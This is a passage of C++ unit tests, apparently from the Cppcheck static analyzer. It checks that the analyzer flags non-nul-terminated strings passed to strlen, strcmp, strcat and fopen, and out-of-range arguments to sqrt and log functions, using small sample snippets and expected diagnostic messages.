check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << 